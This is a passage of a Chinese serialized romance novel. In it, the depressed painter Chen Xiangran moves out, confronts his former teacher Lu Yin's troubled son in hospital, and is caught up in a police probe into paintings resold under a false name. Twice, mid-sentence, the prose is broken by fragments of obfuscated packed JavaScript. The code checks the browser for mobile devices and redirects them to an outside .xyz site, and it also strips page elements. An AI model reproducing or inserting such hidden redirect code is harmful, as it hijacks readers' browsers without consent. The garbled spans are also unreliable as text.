“早就不是他学生了。”陈向然说。 申恺乐了：“唉，人陆老头欣赏你呢，你倒不认人家。” 陈向然陷入断断续续的回忆。窗外鸟鸣绵长，振翅而去，只留下颤抖的枯枝。 他不接话，转向老板，将画纸往前推移：“五千一幅，成交。” 申恺啧啧摇头，那表情像是要憋不住话，然而还是沉默到底。老板似乎没有先前那兴奋劲了，小眼睛滴溜溜的，低眉打量他的表情，收下画后才露出赔笑：“这边交易。”陈向然跟着去了。 办手续途中，工作室比展厅都安静。直到陈向然签下最后一笔，老板跟个报忧的老奴才一般问：“您……是陆教授的学生啊？” “这不重要。”陈向然叠好收据，塞口袋里，起身离开，“我先走——” “等会儿，”老板为留人，倏然拔高声音，“如果真的是，我认为是我眼拙不识佳作了。可以让陆教授来评评您的画。” 是担心他把冒名的事，捅到业内小圈儿尤其是陆引耳朵里吧。 他“哼”了一声：“不必了，老人家忙。” 变相承认了自己多少认识陆引，老板霎时弓了背，眼睛因故作认真而发亮，低眉颔首，恭敬起来，恭敬到陈向然觉着新鲜。他想起东塔补习班家长们鸟群一般叽喳议论，获得尊重这件事仿佛是捏在他人手中的缰绳。 “要的。”老板急忙走上去，先拦住去路，“您要真是陆家的学生，以后给您一个更公正的价钱。” “公正，可以啊。”陈向然冷冷哂笑，拨开人便走，“就是麻烦您让陆教授看清楚些，万一这画不姓陈呢？” 话语凝结了空气，老板脸色霎时如泥如土，难看至极，却陪笑着不敢发作。 迈下大厦前的阶梯，申恺追出来黏着他走，一路嘘寒问暖。陈向然误以为他同路，行至城中村才发觉这人根本没目的地，问着“上哪儿去？”“我生哥呢？”“你怎么不和他一起？”，陈向然被吵得脑瓜子嗡嗡叫，终于停下来，插着灯笼裤兜，神情阴郁：“你想干什么？” 申恺愣了会儿，知道自己被看穿了，不好意思地笑笑：“我找你帮个忙。” “说。” “我……” 申恺支支吾吾，陈向然听得烦躁：“不说我走了。” “哎哎哎，等会儿等会儿。”申恺忙拉住他，难产似的挤话说，“那个……就是，患者和患者，会不会好沟通一些。” 陈向然眉头一松，没想他会问这个：“也许吧，但不是每个人都这样。” “叶知有个病人搞不定，但她不想求人帮忙。这工作做好了能让她在医院树立威信。你明白吗？你给她点参考。就是需要花点时间，路又远，不知道你愿不愿意。你也知道，这个病什么时候治好都是没准儿的事，所以……” 提到叶知，齐怀生的身影便占据了脑海，暖融的体温和气味，强制他吃药休息的力度，和本人一样赶也赶不走。他抓紧胸口的衣服，心里满是柔软和苦涩。 他还生气吗？如果叶知工作顺利，他会高兴一些吧。 如果他不再为自己不高兴就好了，去为别的事情幸福。陈向然握住一片飘下的枯叶，颤抖着将它捏碎。 “正好我想搬家。帮我找找医院附近有什么便宜的房子，单间就好。”他深深呼吸，一松手，碎叶飘撒在地上，“不告诉齐怀生，我就帮你们。” 90. 分道 申恺应下要求，没半丝犹豫。仿佛只要他答应帮忙，这人随时可以背叛他那么大一个生哥。 他鬼祟祟说：“生哥周末回家录歌，你趁这时候搬家。房子和搬家公司我帮你找。等我消息。” 见他这么爽快，也省去大把工夫，陈向然由他去了。 等消息这些天阴雨连绵，云上仿佛有只沉重的大手，灰压压地按向城市大地。陈向然几乎不和齐怀生说话，蹲坐在画室角落，不小心沾一手颜料抹在地板上，赤脚踩着窗帘的影子，形容呆滞，像个精雕细琢的石膏像，凝望外面的雨丝。 深冬雨季，大黑狗猖狂的季节，陈向然像包裹一个炸药一样，把自己小心地藏起来。可无论怎么藏，齐怀生的目光好像随时能到达他身上。当了几天陌生人，他终于忍不住了来敲门，说要道歉。 “你没错，不用道歉。”几天没说过话的喑哑声音隔门传去，含着点委屈的沙声，“我不生气的……” 遭到拒绝后，竟没有继续劝说或破门而入，一反常态地不管了。 自此齐怀生仍在监督他吃药，肚子里许多想说的话，喉咙却像粘了胶一般发不出一个字。陈向然哪儿也没去，也不说话，拿了个老旧的录音机，播点唱经声，“呜呀咪麻”掺着磕磕碰碰的电流声。齐怀生觉着刺耳，陈向然就乐得听旧机器磕绊，在窗边朦胧的天光里闭目睡着了。 周身一层绒边，伪饰出安静祥和的模样。 老天赏脸，搬家这天终于停了雨。齐怀生很早打理完自己，穿好鞋正要出门。 外边天色灰暗，风雨随时会卷土再来。他目光低垂下来，想到什么，又倏然折回房间。 陈向然正好出来，迷迷糊糊地低着头，倏然猝不及防被紧紧搂住，唇上贴了一片温热。 时隔七年，他们再次接了一个绵长的吻。 吻来得太过突然，他两手蓄力正想推人，忽地感到这个吻苦涩又不舍，手渐渐卸了力，任其一步步逼来。他一步步后退，直到后背贴上墙，退无可退，浑身发软，被体温和熟悉的檀香气淹没。 他想问怎么了，可分开时，他在齐怀生眼里看不到任何苦恼，只有坚定。他坚定地提着旅行袋，离开住所。 傍晚，搬家公司的搬运车熟练钻进城中村窄街，停在家门巷外。挡风玻璃划过流动的晚霞，夕阳的温度没有到达这个脏乱的角落。 龙皓替他搬上画具箱，撇了一把汗水。这是最重的一件行李了。其实今天有绘画课，陈向然给疏忽了，见到学生才想起来。便将这位学生拉作苦力，打包行李，大件小件扛上车。 “其实我不上课了，想发信息给你来着。想想还是见你最后一面。”龙皓把箱子往里一推，眼尾，笑意不达眼底，“得谢谢你。喏，这是我欠的学费。” 陈向然将最后的鞋架子搬上后车箱，睨那厚厚的现金一眼：“你没欠我这么多钱。” “欠了。”龙皓坚持，“欠得比这多多了。虽然你嫌弃我，上课摸鱼，三餐乱套，爱使唤人，出门不修边幅……”陈向然无言听着他一长串欲扬先抑，“……而且成天摆了张厌世脸，可比那些同情我以后人生会很失败的老师好太多了。” 陈向然没看他，关上车箱：“没听出你有多感谢我。” “你再嫌弃我，到底也愿意听我说话的嘛。我分析画的时候，你听得老认真了。”龙皓笑起来，这天都多了几分阳光。 陈向然不置可否地哼笑了声，没什么表情：“听听罢了，没有要帮你。” “然老师还是不坦率。”龙皓捧腹而笑，钱塞到他手里，飞也似地跑了。 “喂……” 人已经跑远，陈向然只能无奈地盯着手里沉甸甸的纸币。 钱的数目不小，是新版百元钞，还扎着塑料捆带。定是怕他不收转账，才到银行取了钱来。无奈地看着消失在拐角处的身影，低头掂了掂钞票。 先收下，今后再还就是了。 钻进车时正好飘起雨来，车灯皓白如箭射穿雨雾。陈向然这才发现天已黑透了。 换作以往，两个小时前齐怀生就回来了。但没有人回到这里，电话、信息也冒不出半点水花。 鱼龙混杂的城中村在身后远去，家户门前昏黄的挂灯远去，维修店蓝色的LED灯远去，烟酒铺扭曲的彩色灯管远去，换来八车道的大马路，和满天的霓虹市景。 他划动手机，电话消息仍旧空白。 司机一路疯踩油门急刹车，不出十分钟就到了医院附近的老小区。 难怪申恺手脚麻利。根本无需找出租屋，直接将他送到何晋家里了。 小区很小，是隔壁煤气公司以前的旧厂楼，改建为宿舍后又淘汰闲置，楼龄堪比老妖。单间租价很低，与何晋分摊下来，跟城中村的翻修房无异，甚至有更好的设施。 于是一个单间，住上了两个大男人。 “你别看是单间。”申恺跟着进门，把褪色掉胶的红福字贴回门上，“其实两人住还宽敞，这几天我先去生哥家住了。” 陈向然立马抓住他的漏洞：“你原来没住他家？” “不啊，我住这儿。”他指指地板，咧嘴笑了，“现在不是特殊时期嘛，给你住了，正好晋哥来了，你俩凑合凑合。” 何晋早就到了，生活用品列满房屋。陈向然的房间也给收拾出来了，等他入住。很多年没见了，何晋比当年多了几分气场，皮肤比年少时稍稍白皙，也不像以前总两套旧衣服换着穿。今天穿的休闲衫简约清新，点缀了一条银链子。一看便是这些年和申恺混久了。 刚逃过齐怀生，又来了何晋。也不知哪儿出了差错。他想逃开人群，偏偏自投了罗网。 接受也不是，拒绝也不是。 “另找一处吧。”陈向然重新立起行李箱，一副要走人的姿态，“我的情况你知道的。” “知道，你这情况才要有人在身边的嘛。”申恺把他推回去。 陈向然撇开他的手，“啪”一响声吓定了三个人。陈向然呆了会儿，偏过头低声说：“我不需要。” “晋哥会帮你的，别老拒绝别人帮助呀。”申恺在泡妞以外的领域脑子意外的直，抓住他的肩膀，急迫地要他留下。 陈向然后退一步，跟面前两人拉开距离，脸色如阴云过境：“不行，你不知道我……” 申恺惯于上手，非得与人执手相谈，陈向然躲开他，如避火舌。推推搡搡间险些推倒申恺，何晋忙扶住人，又来替他顺气。 “你们要怎么对付我？怎么对付得了我？”陈向然闷闷地说，话也不怎么好听，几乎低吼，“连齐怀生都……” 连齐怀生都再不能忍受这样的我。 提到齐怀生，两人同时盯住他，像是盯什么不容错过的场景。陈向然拉起箱子，低头走出门去，再说不下后话。 “两周。”申恺比出两根手指，“晋哥来这，是与我扩展生意来的。两周后我们走，这间屋子留你一人住，怎么样？” 最终还是答应与何晋住下。 他发现自己看手机看得愈来愈频繁。抑郁症聊天群被删除后，屏幕弹窗安分了许多。搬家几天了，一条信息也没有。 齐怀生仿佛在他世界里消失了一般。 陈向然仰面躺在床上，呆滞地凝视天花板上黄昏的光影，和角落阴影里几块白色脱漆。行李没拆开，到处都很空，满是朽木的气味。被子、床单、枕头意外的干燥温暖，有齐怀生洗衣液的味道。应是昨日刚洗的。天气不好，许是还仔细地烘干了。 终于，几天后，又是一个人了。目的达到，他却没有如释重负的感觉。 何晋很爱亲自做饭，手艺比齐怀生都强，他便也跟着沾光。他说要帮忙，何晋跟见了鬼一样连连把祖宗推出厨房，禁止他接触刀具和火炉。于是他只能躺在床上，听何晋一手炒包菜一手接听电话。电话那头是齐怀生，话题围绕着服装厂生意，最后提一嘴叶知的工作。 陈向然盯着手机信息，是陆引的见面邀请。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302009|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >几天前陆引突然通过手机号搜索到他的微信，寒暄了一会儿，约了时间到画展见面。陈向然问了对方如何知道自己的联系方式，对方只含糊道：你的一个朋友给的。他正想着有什么事不能发信息说，对方发来语音：你母亲让我给你带话。 “不去了吧。”陈向然吃了一口何晋炒的蔬菜杂烩。 一桌子的香气和热腾腾的雾气，潮冷的屋子渐渐暖和起来。菜是石川的菜，潮头小城的口味。何晋这些年应当还待在石川，手艺如此地道。 对面的“大厨”围裙都没摘便动了筷。见他又发呆，给他碗里夹了块炸鱼：“为什么？” 多年前的旧账，再翻出来也没有意义了，陈向然想。他不再在意那些事情，只是需要治愈自己。 “没什么可聊。”陈向然说，“晋哥觉得我应该去？” “也不是非去不可。”何晋淡淡地笑，“我看你老师要说你妈妈的事，不去听听？” 陈向然沉默良久。 “以前的事，没什么好听。” “是么？为什么不是现在的事？”何晋露出好奇的眼神。 伸向鱼肉的筷子顿住，陈向然听见心里咕咚一声，某根弦被拨动。多年前一片死寂的深海破开一丝涌流。现在的事……他觉得自己一直以来忽视了什么。 “但是……” “需要我陪你出门吗？”何晋笑起来，春暖的气息，“阿生之前，是寸步不离跟着你么？我有时不知该为你们这样的……做些什么。” 关于齐怀生的问题，他又一次回避了。只是沉默地吃着，夸何晋做得好吃。何晋担忧的眼神刺痛过他，那些善意化作怜悯，在两位老友之间隔绝出一道距离。 何晋不擅遮掩，有时乃至赤.裸裸地试探。陈向然只是叹气，不晓得他在试探什么，也并不接招。 临时接到叶知电话，何晋陪他来到住院部。 他从前常常感到生命藏在黄昏中，刺眼的深沉的夕阳余晖映照出一个坠落的身影，和必须与学习成绩匹配的赔偿金数额。经过某个病房门口，杨翎的床位很快被另一位患者替代，而无人看见她背后那位幽灵一样的“凶手”。一个个消失的聊天账号不再出现在眼前，陈向然也仍会无力。 他一眼望见走廊尽头一张面孔——就在叶知身边。一时觉得自己看错了，再一定睛——的确，是他看岔眼了。但他没有因此放松下来。 他听见何晋说在前面，于是往前走去。他和那张面孔之间的距离好像变得漫长，青灰色的走廊灯一闪，眼前深得仿佛没有尽头。 回神时，他发现何晋在搀扶他，替他顺气。一双眼睛关怀而慌乱，见他自己站好了，笑得勉强：“我果然不行，只有阿生才了解怎么帮你。” 陈向然别过脸，不想何晋看到自己蹙起的眉，轻轻挣脱手臂：“不必帮我。” 近看他才确定，这张脸和他的陆老师简直一个模子里刻出来的。只不过这张年轻的脸比那个老顽童还要沉闷许多。 陆相，是这个名字。 “还是需要您自己判断，准确向我传达您的状况。”叶知笑盈盈地注视病人的眼睛，“我今天请来一个朋友，有什么事你也可以和他聊。就当交个朋友。要是不喜欢我就让他不来了，您不必有压力。” 陆相仍没有表情，视线粘在自己的脚尖上：“这是什么新型的治疗方式？” “算是吧。您可以试试。” “你们医生总是异想天开。拿好你的工资就行啦，治不好就直说，不用拐着弯玩花样。” 叶知早习惯了患者关闭心门后带刺的话语，依旧保持她怡人的微笑，朝陈向然招招手：“向然，这边。” 陆相两眼一瞪，目眦尽裂。 陈向然第一眼看到的便是那惊恐的神情，密密麻麻浮现的眼球血丝。这个叫陆相的患者望过来时，像在看一个刻骨的仇人。 这样的神色停留了一会儿，对方便发觉失态似的，扭开了头，像一只冷漠又傲慢的公鸡。 91. 真相 齐怀生的视频账号停播了许多天。若不是申恺告诉他，粉丝们亲切称他烤乳鸽红烧鸽五味炖鸽，他快忘了有多久没写新歌了。 再说吧。申恺问起，他总这样避着目光回答。申恺揶揄地看他的脸，发出“啧啧”的怪声。 深夜只开了盏暖光灯，深沉、昏暗的光线分割着房间。他睡不着，转着电脑椅，抚了把音响设备，摸到一手灰尘，于是开始小心地擦拭它们。 胸前的石锁吊坠叮咚叩在桌沿边。 刚刚才收到何晋的消息，说陈向然有好好吃饭、睡觉、吃药，有接受他的一些照顾。齐怀生嘴角刚提，又看见下一条消息——陈向然停药了。 意料之中，齐怀生知道，这人只要脱离他的视线，就不愿再碰药了。 药物不会让他好起来。他总这么说。 齐怀生正要合眼，何晋说陈向然昏睡一下午了，要不要替他洗澡更衣。齐怀生倏地清醒，从转椅上站了起来，回了一句：“叫醒他，让他自己洗。” 何晋那头安静了片刻，冒出一句：我会好好珍惜你的第一次秒回。并附加一个意味深长的狗头表情。 不久前他以买画的名义约过陆引，听到当年陈向然的人生第一次画展。事情同他猜测的有些许出入。偏偏和叶知通气时，让龙皓那家伙听去了。也不知这小子听了多少，又和陈向然透露了多少。 他明白，这件事谁提都不好使，只有陆引能和他沟通。 画展被截断，与理想无缘，是当初令他消失多年的原因么？齐怀生猜不出头绪，仿若黑夜中摸着石头过河。他惶恐，也不急躁，他有耐心用一生陪陈向然解开那些层层纠缠的心结。 陆引不出所料地答应了，待到适当的时机，会约见老学生。 相应地，他也提出了一个要求。 “陈向然不去？”医院食堂门口，叶知拎着打包的午餐往宿舍区去，正好碰上自家哥哥，“那让晋哥——” “不能让何晋诱导他，他很聪明，会适得其反。” 齐怀生一抬头，就见路灯旁的大樟树露了点嫩芽，一片枯枝败叶里的亮色。芽儿很小，露水落在身上，便弯腰趴上树枝，蔫嗒嗒的，带不来什么春意。 可春天一定不远了，齐怀生想。 “那……需要我做什么嘛？”叶知说，“明天我不坐诊，要去看陆相，先约他出来再说。” “嗯。” “你……”叶知细察哥哥的神色，“怎么突然——” “不是你说的，要大家一起帮他么？”齐怀生提起嘴角，想起了什么，“你说得对。但我可不像你说的最后会把自己搭进去，我只是意识到他在对我设防，我越急着要闯进他的世界疗愈他，他越是要推开我——从心里推开我。那样一切都是徒劳的。得试试其它方法，不行就再换其它，再试。” 叶知玩逗般盯着哥哥，像在看什么难得绽放的奇花异草。 “我有心理准备，哪怕永远好不了，”齐怀生插着衣袋微微仰头，望着枝梢“这辈子搭他身上也认了。”声音很轻松，像是凭着枝头一簇芽儿，他便能见到明天的太阳。 刚说完，他感到身边灵动的视线，看向妹妹。叶知便咧开嫣红的唇，亮着眼睛郑重说：“我的话终于有一天装进了你的榆木脑袋，不容易呀大情圣。” 齐怀生弹了她的额头：“你哥在你眼里就是一根筋愣头青？” 叶知不满地摸摸额头，故意撇着嘴回：“难道不是么？遇到老情人就一根筋的愣头青。”字字扯着重音。 齐怀生捏住妹妹的脸，躲开对方回击的一脚。他默默地笑,笑容里都是包容和松弛，盈满冬日的阳光。 叶知想到，齐怀生上一次笑得这样坦然，是自己有了康复的希望那段时间。好像被修复的不只是自己，还有兄长、父亲、姨妈，其他亲人，整个世界。 那之后齐怀生性子软化了。叶知记得他以前也是个带刺的少年，倨傲、逞强——咋一想挺像眼前的陆相，想想年龄，都不过刚上高中。 只不过，她的病患还倚着墙边扶手，两手软藤似的垂下，后脑勺抵在墙上，扬起的双眼时刻带着防范。又轻轻撇过视线，对一切故作漠视。即便他是自个儿来的医院，即便他正穿着代表孱弱的病号服。 “陈向然吗？”陆相略微抬起下巴，疲惫又难掩高傲的目光落在他身上，一时间换了嘲笑的表情，“没认错吧？活成这样了。” 火药味过浓，叶知愣住了，不知该说点什么。何晋把人拉到身边，他温和、高大，正好藏住这个瘦削的身躯。 陈向然审视着对面，方才的话仿若未闻。打量片刻后，他说：“你和陆引教授什么关系？” “陆引教授”像个开关，陆相霎时冷了脸，咬紧牙根不让自己发作：“他是我父亲。”想了想补充道：“血缘上的。” 这样的患者很常见，陈向然回忆起两次住院，依稀有印象。好几位病友都不承认与身边人的关系——俗称六亲不认。不是为了藏匿自我，便是有过真正的关系破裂。 “法律上也是吧。”陈向然撩开何晋的手，往前两步，死水一样的黑眼睛轻飘飘盯住眼前的人，一字一顿地说，“和陆教授断绝关系，你没那胆。” 话音刚落，叶知敏锐地察觉病患的状态，伸手去拦：“等下……陈向然——” “我他妈怎么不敢？” 陆相大手一挥，拽起他的羊毛衣领。陈向然实在太轻了，陆相很轻松将他甩在墙上。肺里空气挤尽，他剧烈地咳嗽起来。 咳嗽渐渐止住，陆相瞪视他，目不转睛瞧他的狼狈。可当这个人再抬起头，陆相脸色骤变——那散乱的发丝间是一双没有倒映任何东西的眼睛。 陆相惊讶着，露出诡异的笑。眼前这人是同类，是从殿堂之上，堕落到他身边的同类。 “你也别以为，几幅破画就了不起，”他说，“那是我爸看得起你，你才卖出那价。有我爸的名声，厕纸都能当宣纸卖。明白了么？” 一些途径的患者受了惊吓，哆哆嗦嗦、胡言乱语，被护工带走了。陈向然面色没有半点动摇，何晋想拉开陆相，他轻轻一推，给挡去了。 “你说得对。”他打太极似的，无动于衷，“所以呢？” “看你什么都不知道啊。他为了给你上课都能和我这个亲儿子失约呢。两年没见，也不见他像对你一样对我说两句好话。他只会说：不要再画了，不要再画了。转个身，又忙去了。”陆相嗤嗤地笑，仿佛他看的是别人的笑话。 “你想见他。” “我为什么要见他？他欠我的，应当他来见我。我住院了他都不赏脸呢，我去见他，呵……” 陆相陷入自言自语，状态已经十分不稳定。他在保安抵达楼层之前松开掐住陈向然的手，低着头碎碎念。 陈向然偏过脑袋，听见叶知同何晋说，陆相并非一定要住院，只是出于住院更方便全面治疗，他自己才答应了医生的建议。可陈向然想，他或许有其他非住院不可的理由。 “想见就去见。”陈向然扯扯衣服的褶皱，也不看他，轻轻抛下一句，“没那么复杂。” 叶知连忙介入：“你的所有情绪都是因为你的父亲，见父亲这件事会让你想象不好的后果。所以你犹豫，这很正常。”她一点点把病患劝回病房，到更安静的角落谈话，“你要开始面对你的影响源。心里有忐忑，可以再等等。也可以先见一个……间接的人。” 陈向然默默在旁听着。 ——以前的事，没什么好听。 ——为什么不是现在的事？ 原来是这样。 日子一天天过，他掩耳盗铃地逃了七年，内心那个小孩没消失过，还是那么爱哭，吵得人心烦。烦到他从没想过安慰安慰这个小可怜。 以前的事跟着他走了七年，又成了现在的事。 他想通了什么，虚浮的心沉沉落下，倏地转身跑出病房，跑出住院部，疯狂按了几下电梯按钮，等不及楼层数字缓慢变化，直接从楼梯跑到一楼，径直离开医院。 他记得办画展的写字楼离这里不远，公交两站到达，步行大约二十分钟。陆引昨晚说了，他会在画展待到结束。 还有十五分钟。 兜里的电话一个个打来，何晋、叶知、申恺，他都没顾上接。直到陆引的电话打进来，他才如获大赦一般放慢脚步。 他在展厅里绕过一圈，陆引的背影安静地伫立在他最新的画前，展灯的光映得他金亮。背微微佝偻，如果不是那件七年前穿过的衬衫，陈向然已认不得这位年逾花甲的老者。 陆引看的画正是他最近卖给画廊老板那幅。他从没起过名字，画廊老板给了它一个展出的正式名字叫《纯粹》。 陈向然没有想过，有生之年他会对自己的画产生好奇。走近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302010|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些细看那铭牌，作品解读写着：一个孩子初临缤纷的世界，带着伤痕与微笑，行飞蛾扑火之姿，色彩明暗之间表达一颗干净明粹的赤子之心。作者深谙西方后印象派风格，物象夸张、色彩浓艳、光影分明，无不渗透作者浓厚的情感…… “合理”且动人的表述，陈向然笑了。 这一笑，陆引转过身来。似乎为他长发的形象惊讶了一瞬，很快面露欣慰，只是他看上去仍旧十分苍老。岁月真的会在人身上留下不可磨灭的印记。 陈向然一晃神，不由想到陆引的年纪貌似与林岚相仿。 “来啦，坐坐坐。”陆引带他到展厅中央的环形椅，“唉呀说是要和你聊聊你母亲，我这会儿也不知从哪开始聊了。” “这么多年不见了，陆老师，随便聊聊。”重新见到旧人，他想，自己至少是平和的。 “怨老师吗？” 一句切入语，陆引是笑着说的，逗趣一般，并非认真的询问。陈向然却不晓得怎么答了，说怨过不合适，说没怨过过于刻意。他只沉默着看这位旧时的老师。 “你朋友不和我说这事我还不知道呢。” “朋友？” “两个人，前不久一块儿来看展，就聊起来了。我说呢，那时在市区办画展，你妈妈来告诉我，说你不艺考了，我说啊，这自己的人生还是得孩子自己决定。你妈妈买走你所有的画就走了，其中一幅还是跟人抢着买的。我等着你再来上课呢，你再也没来了，多出的几百块学费我也不知上哪儿退你去。” 林岚买走了所有的画啊…… 他好像该为此震惊，再是感动或是愧疚。可隔了太多年，他只有模棱两可的淡淡的酸楚。 “不必了老师。”他低着头，头发遮去他的表情，“当是决定人生的学费了。” “嗯？什么学费？”陆引笑得胡子打颤。 “阿基里斯，您还记得吗？您给我推荐的电影。”陈向然伏低身子，手肘搁大腿上，“我看了很多遍，我知道北野导演一定把一些答案藏在电影里了，可我愚笨，只能问您。真知寿追求艺术，最后他得到什么了吗？” 陆引哈哈笑，隐约有当年老顽童的模样。说这个问题很有趣，他很喜欢。反问道：“你呢？得到了什么吗？” 陈向然听者有意，尝出那话里的讽刺意味。因为这位花甲老者一边说着一边看向墙上的“纯粹”，那幅只值三千块钱、却因挂上了“陆銗”这个名字而多了两个零的油画。 他得到一些真相。比如色彩分明、线条干净不能让画卖出多少钱，但前辈的名声可以，大款的认可可以。比如远离世界、单枪匹马的自己注定只是个潦倒的“艺术家”。 “因为得到过什么，我才喜欢涂画。不是追求后，才得到了什么。”陈向然捋着小辫子，不情不愿地说。 绘画是童年的自由，是逝去的亲人留下的技艺。理想可贵，千金不换。可某一天他为了“千金”，出卖最珍贵的回忆，那时候他知道艺术不能挽救他的爱人，但钱可以。 “那多好。”陆引转过身来，温热的厚实的、满是褶纹的大手轻轻放在他头上，声音低沉温厚，“真知寿到了五六十岁，才发觉自己要的是什么呢。” 他心里苦笑。若知道，他也不必在自我叩问中踽踽独行了七年。 “你知道自己要什么的。”陆引像听到他心声似的说，“只不过那时你年轻，我看出来，你眼里揉不得沙子。一样东西让你喜欢，你便见不得它里头是脏的。我才那么提醒你。也怪我不愿浇灭你的热情，没有点透你。但我觉着，那个年纪不知全貌，一往无前，未必是坏事呀。” 陈向然抬头看向自己的画，一幅刚刚挂上的“纯粹”，一幅尚未售出的模仿而来的老屋画。 当初被他出卖的，有着姥爷手笔的原版画……不知有没有被哪个人好好爱护着。 陆引接着说：“到今天，你至少没有被真相打败，”他指指陈向然心口，“对吧？哈哈，你果真像我的。” 陈向然看着指向自己的短胖手指，咀嚼方才那番话，微微笑起来。陆引电话响了，转过身去，拐杖搁一旁，扶扶老花镜，伸出一根食指慢吞吞划动屏幕接听。 “喂。啊……警察同志？怎么在医院呢？对，我是陆相的父亲。姓齐的年轻人？我认得，怎么啦？” 陈向然心一沉，视线投向那个接电话的慌张背影。 92. 亲子 陆引刚刚似乎还想说什么，却被一个电话中断。 一个来自警方的电话，地点在陆相所在的附一院。几名警察临时占用心理咨询室，对陆相进行非正式的审问。陈向然随陆引进入房间时，此人正翘着二郎腿，双臂垂着，头微微上扬，掀上俩鼻孔看人，反问、谩骂，仿佛被审问的是对面两位制服小哥。 见陆引走进来，陆相像挨了一巴掌似的沉默了。再瞧见陈向然，整张脸阴沉下来，冷笑几声：“你俩果然一伙的。算了。”他腿一跨，优哉游哉坐回凳上，“想拿我怎样，说吧。” 陆引瞪着逆子。他眼皮松弛耷拉，右眼生了一颗老年斑，眼珠子却乌黑浑亮。望向警官才面色渐缓：“这是出什么事了警察先生？” “最近贸易大厦的一楼画展有疑似洗`钱的活动。我们接到举报，有人冒名顶替他人画作，以极高价格转卖。”坐在桌子边角的警官为陆引拉开一张凳子，“画作上的挂名已证实是陆相先生的艺名。陆相先生还未满十八岁，所以我们联系他的监护人，您是他父亲吗？” 陆引拄着拐，低头思索：“我几乎天天去展厅，从没在那见过我儿子。倒是见到了你们说的齐先生……他没来么？” “来了。” 话音是从走廊里传来的。 这个声音，陈向然没来由地绷紧神经。那脚步声从容而来，穿过病患、护士、药车，停在身后的房门前。他隐隐感到身后视线炽热，不敢回头。 他慌张之下说：“陆老师，您忙您的，我先走了。” 没等师长回应，他匆匆转身，埋头要与齐怀生擦肩。面前“啪”一声，倏然横来一只手臂撑在门框上，截住去路。他愣了会儿，想要推开：“你——” “这位是作品原作者。”齐怀生压根不看他，“有什么要了解也可以找他。” 陈向然一怔。 这人消失这么久，是悄悄办这事去了。 走廊里餐车咕噜噜滚动，病患和护工呼喊着午餐来了，隔着玻璃窗远远传来。陈向然抓抓头发，没注意身后警官说了什么。 无论如何他该向人道谢，而他正要开口，齐怀生把挡路的手臂收回去，像不认识他一般走进房间里，坐进一张单人小沙发。 陈向然别开脸——他知道齐怀生在看自己，目光如山洞深处的火把，不容忽视。 “意思就是我是个不要脸的家伙。”陆相龇着两排牙哂笑，“拿了大画家的画，贯上自己的名字，还要高价卖。得了吧，就是你这家伙自己戏演全套。” “闭嘴。”陆引的拐杖“咚”一戳地板，“我还没问你，怎么会在医院？怎么穿那衣服？”他指着儿子身上的病号服。 “是啊，为什么呢？因为你忙着把得意门生带在身边，也不会知道我住院。”陆相轻描淡写。 陈向然看看自己的老师，这个父亲关心无果，自知理亏，便沉默到底，可能是愧疚，也或许不想激化矛盾。 警方问了陈向然买画的时间，陈向然记不清了，也没有收据作证据——他不在意这场骗局，从来与画展举办方各取所需。他们又询问陆相住院的时间—— “一个月啦，在这过的年。”陆相挑挑眉，瞥一眼父亲的脸色，“你们问我就好了，反正我什么也不知道，我爸更不会知道。” “对警官尊重点。” 陆引的语气很耐心，像一个真正慈爱的父亲。陆相倒不唱反调了，只嘴里嘀咕着讽刺：“本来就不知道……毕竟你有理想。” 陈向然听到这，皱了皱眉。 陆引自始至终没有回答儿子。问话结束后，陆相径直回病房去。陈向然跟着陆引，临走前杵在走廊上，默默望着齐怀生的背影。 那背影端正挺拔，衣装崭新、利落，轻轻插着兜，没有回头的意思。歪了歪头，正与警官密切交谈。 洗`钱这样的犯罪行为，齐怀生怎能来趟浑水。他今天出现在嫌疑人面前，被打击报复怎么办？ 陈向然想跑上去，抓住他警告他，脚下却生了根，一直目送他消失在电梯间拐角，最后一片残影都看不见了，还是一动不动。 他低下头，回身跟上陆引——他的老师停留在某间病房门口。 齐怀生交出了龙皓的电话。 今天警局里闹腾，会议室里一位母亲不相信自己成绩优异、听话懂事的孩子会得精神疾病，一哭二闹，呼天抢地，一定要警方彻查“凶手”。 “喂您好是龙先生吗？这里是区公安局……” 齐怀生坐在排椅上，背着窗，天光将他和树枝的影子投在大理石地板上，一个影子闪进这片光域，啾啾鸣叫了几声。 悠悠晃晃的影子化作医院住院区玻璃窗上等待的影子。 离开住院区时，齐怀生用余光瞄着一侧的玻璃窗——那上面清晰倒映着陈向然的神情，专注到有些发呆。他的注意力全被那身影吸走，听不清警官同他说了什么，于是偏了偏头。 “好。但是我要求找画廊老板做笔录。”齐怀生说。 “如果对方不配合，我们目前也没有证据申请逮捕。所以只能请您再等一段时间。如果您还有什么线索、证人，随时向我们透露。” 证人。 齐怀生眯起眼睛，脑海里浮现出一张欠扁的面孔。就这张面孔，会对着他收藏的陈向然的嫩照噫吁赞叹，会以学生的名义入侵陈向然的生活，会在他这个“前任”出现时游刃有余，唯一的优点是帮助过一个患者，然而却弄巧成拙——就是这么个不顺眼的小鬼。 “有一个人，”他说，“参与过这件事的。” 快到电梯间，他仍瞄着玻璃窗上的影子。陈向然雷打不动地盯着他后背看，看得他心里发痒。抓了抓胸口的衣服，深呼吸一口，管住自己想看人的眼、想抱人的手、想吻人的嘴，义无反顾离开了住院区，并自封新时代的柳下惠。 